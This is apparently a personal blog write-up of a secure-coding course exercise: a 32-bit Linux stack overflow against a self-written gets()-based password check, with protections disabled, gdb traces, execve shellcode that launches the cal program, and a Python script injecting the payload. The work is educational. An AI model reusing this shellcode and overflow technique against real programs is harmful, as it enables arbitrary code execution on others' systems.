记一次栈溢出漏洞利用实验

公司培训课程Writing Secure Code的作业是自己实现一次栈溢出攻击,花了一个周六时间算是完成了,同时也在这里记录下:

当然现代编译器和操作系统其实已经可以很好应对栈溢出这种攻击了,我所做的实验更多的是学习性质。

1. 实验环境

a) 我是在Linux i686 32位环境下完成这次作业的,具体系统信息:Linux 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux

b) 编译使用的GCC版本是gcc version 4.9.1 20140922 (Red Hat 4.9.1-10) (GCC)

c) 为了完成栈溢出的任务关闭了编译和运行时的一些选项,主要有:

  1. i. 关闭Linux地址随机化(ASLR):echo 0 > /proc/sys/kernel/randomize_va_space

    ii. 关闭栈保护: -fno-stack-protector

    iii. 开启栈可执行: -z execstack

2. 实验过程

a) 反汇编二进制文件并进行观察

Dump of assembler code for function IsPasswordOK:

   0x0804848b <+0>:     push   %ebp

   0x0804848c <+1>:     mov    %esp,%ebp

   0x0804848e <+3>:     sub    $0x18,%esp

   0x08048491 <+6>:     sub    $0xc,%esp

   0x08048494 <+9>:     lea    -0x14(%ebp),%eax

   0x08048497 <+12>:    push   %eax

   0x08048498 <+13>:    call   0x8048340 <gets@plt>

   0x0804849d <+18>:    add    $0x10,%esp

   0x080484a0 <+21>:    sub    $0x8,%esp

   0x080484a3 <+24>:    push   $0x80485b4

   0x080484a8 <+29>:    lea    -0x14(%ebp),%eax

   0x080484ab <+32>:    push   %eax

   0x080484ac <+33>:    call   0x8048330 <strcmp@plt>

   0x080484b1 <+38>:    add    $0x10,%esp

   0x080484b4 <+41>:    test   %eax,%eax

   0x080484b6 <+43>:    sete   %al

   0x080484b9 <+46>:    leave

   0x080484ba <+47>:    ret

End of assembler dump.

可以看到在IsPasswordOK函数里面先后执行了ebp压栈,然后是用当前esp更新ebp,之后分配局部变量空间等操作。其stack的结构大致如下:

 

 

 

其中linux栈从上往下地址递减,我们通过password数组溢出从而覆盖高地址的eip对其操作进行控制。

b) Shellcode 编写

由于最终我们需要执行外部程序实现攻击,我们首先需要一段简短的linux shellcode。

由于我的linux系统里没有计算器(calculator)程序,我使用日历(cal)程序作为替代。

Shellcode的构造过程参考:https://www.cnblogs.com/lsgxeva/p/10794331.html

我编写了如下汇编代码:

Section .text

 

global _start

 

_start:

        xor eax, eax ;

        push eax     ;

 

        push 0x6c61632f ;字符串参数‘/usr/bin/cal’入栈

        push 0x6e69622f

        push 0x7273752f

 

        mov ebx, esp;

 

        push eax

        mov edx, esp;

 

        push ebx

        mov ecx, esp;

 

        mov al, 11

            int 0x80  ;系统调用

  

主要思路就是把相应的参数传给寄存器或者压栈,然后通过linux int80系统调用,通过execve函数启动/usr/bin/cal程序。

写好汇编代码之后使用nasm编译成二进制程序,然后通过shellcode提取程序提取出来即可,最后可用的shellcode为:

"\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

一共30个字节。

 

 

c) 观察gdb调试程序isPasswordOK及其core dump文件

根据相关资料,gdb调试过程中的内存地址和实际运行中的并不一定相同。首先通过gdb调试获得stack内存分配的规律:

 

 

 

从调试中我发现gdb中,password缓冲区开始的地址总是0xbffff164.

通过对IsPasswordOK函数stack空间分配过程的逐断点观察:

Dump of assembler code for function IsPasswordOK:

   0x0804848b <+0>: push   %ebp

   0x0804848c <+1>: mov    %esp,%ebp

   0x0804848e <+3>: sub    $0x18,%esp

   0x08048491 <+6>: sub    $0xc,%esp

   0x08048494 <+9>: lea    -0x14(%ebp),%eax

   0x08048497 <+12>: push   %eax

   0x08048498 <+13>: call   0x8048340 <gets@plt>

   0x0804849d <+18>: add    $0x10,%esp

   0x080484a0 <+21>: sub    $0x8,%esp

   0x080484a3 <+24>: push   $0x80485b4

   0x080484a8 <+29>: lea    -0x14(%ebp),%eax

   0x080484ab <+32>: push   %eax

   0x080484ac <+33>: call   0x8048330 <strcmp@plt>

   0x080484b1 <+38>: add    $0x10,%esp

   0x080484b4 <+41>: test   %eax,%eax

   0x080484b6 <+43>: sete   %al

   0x080484b9 <+46>: leave

   0x080484ba <+47>: ret

End of assembler dump.

(gdb) b *0x0804848c

Breakpoint 1 at 0x804848c: file isPasswordOK.c, line 4.

(gdb) b *0x0804848e

Breakpoint 2 at 0x804848e: file isPasswordOK.c, line 4.

(gdb) b *0x08048491

Breakpoint 3 at 0x8048491: file isPasswordOK.c, line 7.

(gdb) b *0x08048494

Breakpoint 4 at 0x8048494: file isPasswordOK.c, line 7.

(gdb) r

Starting program: /root/share/StackOverflow/isPasswordOK

Enter password:

 

Breakpoint 1, 0x0804848c in IsPasswordOK () at isPasswordOK.c:4

4 bool IsPasswordOK(void){

Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.132.el6.i686

(gdb) i r

eax            0x10 16

ecx            0x3db4e0 4044000

edx            0x3dc340 4047680

ebx            0x3daff4 4042740

esp            0xbffff178 0xbffff178

ebp            0xbffff198 0xbffff198

 (gdb) c

Continuing.

 

Breakpoint 2, 0x0804848e in IsPasswordOK () at isPasswordOK.c:4

4 bool IsPasswordOK(void){

(gdb) i r esp

esp            0xbffff178 0xbffff178

(gdb) c

Continuing.

 

Breakpoint 3, IsPasswordOK () at isPasswordOK.c:7

7 gets(Password);

(gdb) i r esp

esp            0xbffff160 0xbffff160

 

可以发现stack中缓冲区从0xbffff160开始一直到0xbffff178,而上面说过password数组则从0xbffff164地址开始,0xbffff178再往上就是ebp和eip了。

 d)core dump中观察实际程序运行时的地址

首先打开linux的core dump size开关:ulimit -f unlimit.

在运行时多输入一些字符使得程序崩溃产生core.***文件。

Gdb调试该文件,并定位到我们输入的字符处(即password数组):

 

 

 

可以看到实际运行时password数组起始于0xbffff194

相应的通过计算,运行时eip位于0xbffff194 + 20 + 4=0xbffff1ac

我们需要填充24的字节,然后填充eip。而eip将指向shellcode的起始地址。



e) 输入数据布局

Eip需要指向我们的shellcode,考虑到shellcode有30个字节长度,我选择把shellcode直接放置在eip的后面,即eip+4  eip+34这个位置。

于是eip是处需要填入的地址即为0xbffff1ac + 4=0xbffff1b0.

 

输入数据布局为:填充数据(24字节)+ eip(0xbffff1b0)+ shellcode(30字节)

 

f) 输入与实践

在实际输入过程中,由于很多二进制字符不支持在shell界面直接输入,经过文本编辑器打开后经常会变成块状乱码,无法输入或者输入之后与原先值不一致。

经过一番摸索,我选择使用python的subprocess模块模拟输入,这样就能准确无误地向程序动态输入二进制数据,具体代码如下:

import subprocess

 
shellcode='\x31\xc0\x50\x68\x2f\x63\x61\x6c\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80'


fillbytes= 'a'* 24

ret_eip = '\xb0\xf1\xff\xbf'

fill = fillbytes+ ret_eip + shellcode

obj = subprocess.Popen(["./isPasswordOK"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)


obj.stdin.write(fill)

out,err = obj.communicate()

print(out)

  

 

输入数据由3部分拼接而成, 最后的输出结果如下:

 

 

 

至此整个攻击过程完成了,cal程序被成功调用

 

posted @ 2019-12-11 17:27  J1ac  阅读(971)  评论(0编辑  收藏  举报